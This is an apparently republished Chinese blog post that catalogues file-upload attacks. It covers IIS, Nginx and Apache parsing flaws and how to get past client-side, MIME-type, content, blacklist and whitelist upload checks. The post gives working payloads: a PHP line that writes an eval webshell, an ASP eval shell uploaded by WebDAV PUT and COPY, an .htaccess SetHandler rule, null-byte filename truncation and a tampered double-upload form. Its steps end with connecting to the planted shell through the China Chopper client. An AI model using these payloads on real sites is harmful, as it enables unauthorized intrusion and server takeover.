文件上传漏洞超级大汇总-第一篇

先上图,由于太大复制麻烦我分两次贡献出来吧。废话不多说了,直接上正文

1、IIS解析漏洞

1、目录解析(IIS6.0):建立*.asa 、*.asp格式的文件夹时,其目录下的文件都被当做IIS当做

ASP文件来解析(*.asp/1.jpg目录解析)

其中88.asp下的88.jpg文件会当成asp解析

1、文件解析(IIS6.0):当文件为*.asp;1.jpg文件名畸形解析 ,IIS6.0一样把文件当成asp解析

原理:分号后面的不解析。

还有IIS6.0 默认的可执行文件除了asp还包含这三种:

/aspdama.asa

/aspdama.cer

/aspdama.cdx

二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞: Nginx解析漏洞这个伟大的漏洞是我国安全组织发现的。 在默认Fast-CGI开启状况下,黑阔上传一个名字为aspdama.jpg,内容为:

<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问aspdama.jpg/.php,在这个目录下就会生成一句话木马 shell.php

三、Nginx <8.03 空字节代码执行漏洞: 影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37 Nginx在图片中嵌入PHP代码然后通过访问

phpmuma.jpg%00.php

来执行其中的代码! 四、Apache解析漏洞: Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断. 比如 phpmuma.php.owf.rar “.owf”和”.rar”这两种后缀是apache不可识别解析,apache就会把phpmuma.php.owf.rar解析成php. 如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个phpmuma.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀! 五、其他 在windows环境下,dama.jpg[空格] 或dama.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单,若上传成功,空格和点都会被windows自动消除,这样也可以getshell。 如果在Apache中、htaccess可被执行、且可被上传、那可以尝试在、htaccess中写入:

<FilesMatch "phpmuma.jpg">SetHandler application/x-httpd-php </FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。

webDAV:一种基于HTTP1.1的通信协议,配合HTTP不安全方法

可以上传webshell

步骤一抓包上传

PUT /a.txt HTTP/1.1

HOST:

<%eval request (“mima”%)>

步骤二复制文件到指定文件夹(或者直接用move将a.txt修改成shell.asp)

COPY /a.txt HTTP 1.1

HOST:

Destination:http://www.baidu.com/cmd/cmd.asp

例子: IIS扩展名解析漏洞

l 上传yijuhua.php,拦截数据包

l 在文件目录处uploadimg改为uploadimg/1.php;

l Yijuhua.php后缀名改为yijuhua.jpg

例子: IIS目录路径解析

l 将yijuhua.asp后缀名修改为yijuhua.jpg上传

l 上传时拦截数据包

l 在文件目录处uploadimg改为uploadimg/1.asp/

2、Apache解析漏洞

原理:

解析的时候碰到不认识的扩展名,会一直向前解析,知道碰到认识的扩展名

,如果都不认识,则会暴漏源代码

例如

1.php.xx.Yy.bb,他会一直解析到认识的php为止,

2.rar.bb.cc,若都不认识,会解析源代码。

例子:Apache扩展名解析漏洞

打开站点,将x.php后缀名修改为x.php.7z,上传x.php.7z,

上传成功,上传成功后使用中国菜刀进行连接

3、PHP CGI解析漏洞

Nginx上的漏洞

例子:

http://www.baidu.com/1.jgp/2.php

2.php文件是不存在的,1.jpg会当成php代码解析

例子:nginx解析漏洞

l 打开站点,将dama.php(大马)后缀名修改为x.jpg,上传x.jpg,上传成功

l 打开dama.jpg链接(在x.jpg后面加./php)

l 如,http://10.10.10.135:82/nginxjiexi/uploadimg/x.jpg/.php

4、绕过客户端检测

例子:

打开burpsuit,开启代理服务器,再打开站点,拦截数据包(修改本地的JavaScript)

l if(str != ".jpg" && str != ".jpeg"&&str != ".JPG" && str != ".JPEG" )修改为:

l if(str != ".jpg" && str != ".jpeg"&&str != ".JPG" && str !=".JPEG"&&str!=”.php” ),forward

l 上传yijuhua.php,上传成功

l 用中国菜刀连接yijuhua.php,查看实验现象

5、绕过MIME文件类型检测

打开站点,打开burpsuit,开启服务器代理,上传yijuhua.php,拦截数据包将MIME类型:Content-Type: application/octet-stream修改为Content-Type: image/pjpeg,上传成功,使用中国菜刀连接

上传yijuhua.php,拦截数据包:

6、绕过文件内容检测

例子:

打开站点,打开burpsuit,开启服务器代理,上传1.jpg照片,拦截数据包,在数据包中1.jpg修改为1.php,在图片数据的末尾空几个空格粘贴一句话木马的内容,上传,上传成功后使用中国菜刀进行连接

8、黑名单绕过

例子:IIS黑名单绕过

l 将yijuhua.php后缀名改为yijuhua.PHP(文件重命名就可以),上传到站点,上传成功,用中国菜刀连接yijuhua.PHP

l 将xx.asa上传至站点,上传成功,打开xx.asa所在链接写入一句话木马,用中国菜刀进行连接

例子:Apache黑名单绕过

l 将dama.php后缀名改为dama.phP,上传到站点,上传成功后访问木马所在的链接或使用中国菜刀进行连接

l 上传yijuhua.php时使用burpSuite进行抓包,将yijuhua.php后缀名后面加上空格,或者改成php3、上传到站点,上传成功,使用中国菜刀进行连接

9、白名单绕过

例子:截断目录路径(IIS)

l 将uploadfiles/修改为uploadfiles/1.php .jpg(php后有空格),filename处yijuhua.php后缀名修改为yijuhua.jpg

l 在buirpsuit的row一栏中,修改空格20(1.php .jpg中的空格)的值改为00.(大概在30行左右)后上传

l 修改完后可以看到UploadFiles/1.php .jpg变为

l 上传后使用中国菜刀进行连接

例子: 截断扩展名(IIS)

l 将yijuhua.php后缀名修改为yijuhua.jpg,上传,拦截数据包

l 在filename处的yijuhua.jpg修改为yijuhua.php (空格).jpg

l 在buirpsuit的row一栏中,修改空格20的值为00(大概在30行左右)

l 修改完可以看到yijuhua.php .jpg变为,上传成功后用中国菜刀进行连接

例子:只能上床.DOC的文件

用明小子的动力上传

提交的地址:是打开页面的地址,不是referer字段里的地址

10、其他方法绕过

例子:利用.htaccess绕过

l 打开站点,上传.htaccess文件,上传成功

l 将dama.php后缀名修改为dama.jpg,上传,上传成功

l 打开dama.jpg所在链接

例子: 双文件上传漏洞

l 打开burpsuir,开启服务器代理,再打开站点拦截数据包

<formaction="Upfile_B.asp" method="post" name="form1"onSubmit="return check()" enctype="multipart/form-data">

<inputname="FileName" type="FILE"size="30">

<inputtype="submit" name="Submit" value="上传"style="border:1px double rgb(88,88,88);font:9pt">

<inputname="PhotoUrlID" type="hidden" id="PhotoUrlID"value="6">

加一行文件名按钮,name标签不一致

<input name="FileName2"type="FILE" size="30">

修改后

<formaction="Upfile_B.asp" method="post" name="form1"onSubmit="return check()" enctype="multipart/form-data">

<input name="FileName" type="FILE"class="tx1" size="30">

<inputname="FileName2" type="FILE"size="30">

<inputtype="submit" name="Submit" value="上传"style="border:1px double rgb(88,88,88);font:9pt">

<inputname="PhotoUrlID" type="hidden" id="PhotoUrlID"value="6">

l 上传,第一个文件上传图片,第二个文件上传一句话木马,上传成功

l 用中国菜刀连接第二个文件一句话木马

l 通过源代码可以查看到上传的地址

11、IIS可PUT上传

主要是webDav没有做过滤,允许一些不安全的HTTP方法

密码是888,

总结

还有部分下次发

没啥好总结的,放在电脑里好久的文档了,发出来贡献给大家,发出来希望能让大家有所收获,当然如果你愿意帮忙补齐是更好不过了

原文发布于微信公众号 - 网络安全社区悦信安(yuexin_an)

原文发表时间:2017-09-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏嵌入式程序猿

涨姿势:如何利用泰利特无线模块发邮件

随着物联网的大热,嵌入式开发中越来越多的产品需要加入无线的功能,今天我们就以泰利特无线模块HE910来讲讲如何利用泰利特无线模块通过AT指令操作来发送邮件。 准...

33870
来自专栏FreeBuf

新手上路 | 德国电信网站从LFI到命令执行漏洞

几个月前,我对德国电信官网telekom.de作了一些子域名枚举,看看是否有一些新的子域名出现。因为德国电信只接收类似SQL注入和远程代码执行类的高危漏洞,所以...

237100
来自专栏网络

HTTP页面如何完成301重定向

上周,本站发布了一篇名为《站长须知:HTTP迁移HTTPS时,如何避免发生重复内容问题》的文章。介绍了HTTP页面迁移到HTTPS的时候,为了避免出现重复内容的...

53150
来自专栏编程坑太多

悲观锁与乐观锁

16350
来自专栏linux驱动个人学习

linux内核完全剖析——基于0.12内核-笔记(2)-统一编址和独立编址

IO是什么 ? IO(Input and Output)是输入输出接口。是CPU和其他外部设备(如串口、LCD、触摸屏、LED等)之间通信的接口。一般的,我们说...

39360
来自专栏walterlv - 吕毅的博客

Git 更安全的强制推送,--force-with-lease

发布于 2018-05-07 11:16 更新于 2018-09...

24620
来自专栏魏艾斯博客www.vpsss.net

OneinStack 一键安装 JAVA/Tomcat/Nginx/MySQL 等 PHP 环境

58630
来自专栏大数据架构师专家

docker pull 下载加速-2018

使用docker pull,命令下载镜像太慢了,默认是从国外的,本文记录下如何配置国内阿里云竞相加速方式。文档力求简单.

48420
来自专栏逆向技术

病毒分析第一讲,分析病毒注意事项,以及简单分析主要功能

        病毒分析第一讲,分析病毒注意事项,以及简单分析主要功能 一丶认识木马和病毒的区别 木马和病毒是两个不一样的,有人会把木马认为是病毒,但其实不是 ...

23960
来自专栏Rainbond开源「容器云平台」

云帮一周问答集锦(1.9-1.15)

12720

扫码关注云+社区

领取腾讯云代金券